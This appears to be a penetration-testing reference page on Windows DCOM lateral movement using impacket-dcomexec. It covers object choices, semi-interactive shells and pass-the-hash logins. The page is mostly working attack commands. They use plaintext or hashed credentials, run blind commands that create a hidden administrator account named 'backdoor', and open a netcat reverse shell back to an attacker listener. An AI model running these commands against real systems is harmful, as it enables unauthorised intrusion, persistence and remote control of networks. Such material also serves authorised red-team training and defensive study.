Skip to content
HackIndex.io

DCOM Lateral Movement

3 min read Created Apr 30, 2026 Last updated Aug 11, 2026

DCOM-based execution uses Windows Component Object Model infrastructure to invoke methods on remote hosts. Unlike PSExec it does not create a service and unlike WMI it uses a different set of RPC interfaces: making it a useful alternative when specific execution methods are blocked or monitored. It requires local admin on the target and port 135 (RPC endpoint mapper) plus high dynamic ports to be reachable.

impacket-dcomexec supports three DCOM objects: ShellWindows (default), MMC20, and ShellBrowserWindow. ShellWindows is the most reliable across modern Windows versions. ShellBrowserWindow does not work on Windows 11. MMC20 triggers Defender alerts on Windows Server 2025.

  • Port 135 (RPC endpoint mapper) and high dynamic RPC ports must be reachable
  • Local admin required on the target host
  • ShellWindows: most reliable across modern Windows versions
  • MMC20: triggers Defender on Windows Server 2025
  • ShellBrowserWindow: does not work on Windows 11

Semi-interactive shell via DCOM

Without a command argument, impacket-dcomexec drops into a semi-interactive shell. Output is written to a temp file on the target and retrieved over SMB: the same mechanism as wmiexec.

┌──(kali㉿kali)-[~]
└─$ # Default object: ShellWindows
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Specify object explicitly
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object MMC20
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object ShellWindows
 
┌──(kali㉿kali)-[~]
└─$ # PowerShell shell instead of cmd
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -shell-type powershell 
C:\Windows\system32> whoami
corp\jsmith
C:\Windows\system32> hostname
WS01

Pass-the-Hash

┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash: LM component can be empty (aad3...)
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # With specific object
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -object MMC20 
C:\Windows\system32> whoami
corp\jsmith

Single command execution

Pass a command directly to execute without an interactive session. Use -nooutput when the command does not need to return output: this skips the SMB output retrieval step and is faster for fire-and-forget commands like adding a user or staging a file.

┌──(kali㉿kali)-[~]
└─$ # Execute command and retrieve output
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'whoami /all'
 
┌──(kali㉿kali)-[~]
└─$ # Execute without retrieving output (faster for blind execution)
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'net user backdoor Password123! /add'
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'net localgroup administrators backdoor /add'
 
┌──(kali㉿kali)-[~]
└─$ # Reverse shell via nc (stage nc.exe first or use existing binary)
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exe'

DCOM execution runs in the context of the authenticated user, not SYSTEM. If you need SYSTEM-level access on the target, use PSExec or SMBExec instead. For a comparison of all remote execution methods see Remote Execution in Active Directory.

References